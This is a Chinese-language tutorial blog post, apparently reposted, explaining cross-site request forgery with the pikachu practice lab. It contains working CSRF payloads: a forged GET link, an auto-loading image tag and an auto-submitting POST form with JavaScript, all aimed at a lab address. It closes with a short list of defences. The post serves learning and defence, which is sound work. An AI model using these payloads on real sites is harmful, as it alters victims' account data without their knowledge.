一文带你学会CSRF漏洞

CSRF简介

CSRF全名为Cross site Request Forgery,也称跨站请求伪造。

简而言之,CSRF攻击就是攻击者诱骗受害者在不知情的情况下发起某些恶意请求,该请求可以是转账,或者是用受害者的身份发信息,改密码等一系列敏感操作。

CSRF原理

先来看下面这个例子(采用pikachu靶场做示例)

登陆后查看个人信息

点击修改个人信息后点击提交

抓包则会发现一条vincex向服务器发起修改个人信息得请求

服务器接受请求后vince得个人信息即修改完成

那该应用修改个人信息流程即可分为以下两步:

  • 1.登陆系统

  • 2.像服务器发起修改个人信息得请求,实则就是通过csrf_get_edit.php脚本修改个人信息

csrf_get_edit.php?sex=test&phonenum=110&add=test&email=test&submit=submit

当我们构造恶意连接,即伪造上述请求,诱骗受害者在登陆后点击,那就把受害者个人信息修改为我们伪造得信息了。

比如构造以下链接

http://192.168.88.130/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=hack&phonenum=chak&add=hack&email=hack&submit=submit

诱骗vince在登陆后点击,vince点击后他的个人信息遭到恶意修改

就如上面这个例子,Csrf就是攻击者伪造请求,让受害者以受害者的身份去通过该请求执行一些敏感操作。这些敏感操作可能还包括有修改密码,转账等等

CSRF攻击

CSRF攻击最重要的两个条件:

1.需要受害者登陆

2.受害者点击我们构造的恶意链接或者是恶意页面

一般CSRF攻击可分为GET和POST两种,其原理都一样,只不过请求方式不同

GET

GET请求除了可以让受害者点击恶意链接以外,还可以让他访问我们写好的恶意页面,在页面中用标签进行自动访问我们伪造的请求。这样也实现了让受害者带cookie发出恶意请求的目的。

还是刚才的修改个人信息页面,我们构造一html,其代码如下

<img src=http://192.168.88.130/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=attack&add=attack&email=attack&submit=submit />

我们将其放在服务器上,然后让受害这访问该页面

http://127.0.0.1:8081/1.html

可以看到当访问这个页面的时候只看到了一张无法加载的图片,但是实际上自己的信息已经被悄然修改了。

POST

现在请求方式变为POST

此时我们首先应该修改为get请求方式,看对方服务器是否未区分两种请求方式,例如PHP脚本采用request接收参数就不会区分POST与GET.

如果服务器区分POST与GET那我们可构造一个表单诱骗受害这点击,或者直接利用js自动请求。再用pikachu靶场实例。

构造以下脚本

<form id="myForm" action="http://192.168.88.130/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<input type="text" name="sex" value="postcsrf" >
<input type="text" name="phonenum" value="postcsrf" >
<input type="text" name="add" value="postcsrf" >
<input type="text" name="email" value="postcsrf" >
</form>

<script>
window.onload = function(){
document.getElementById("myForm").submit();
}
</script>

然后让受害者访问即可自动发起伪造的POST请求

比较头痛的是这个html脚本在POST的参数中有submit时,js无法执行,好像是因为重名问题,暂未找到解决办法。但是其他解决方法还有很多种,比如用PHP的CURL

浏览器cookie策略

有时候服务端会验证session和本地cookie,但是有的浏览器不允许跨域(可理解为域名)发送本地cookie,比如IE浏览器。但是有的浏览器不会拦截,比如 Firefox2,Firefox3,Opera,Chrome,Android

CSRF防御

验证码

referre检测

参数加密

添加token参数

原文地址:https://www.cnblogs.com/tlbjiayou/p/13887475.html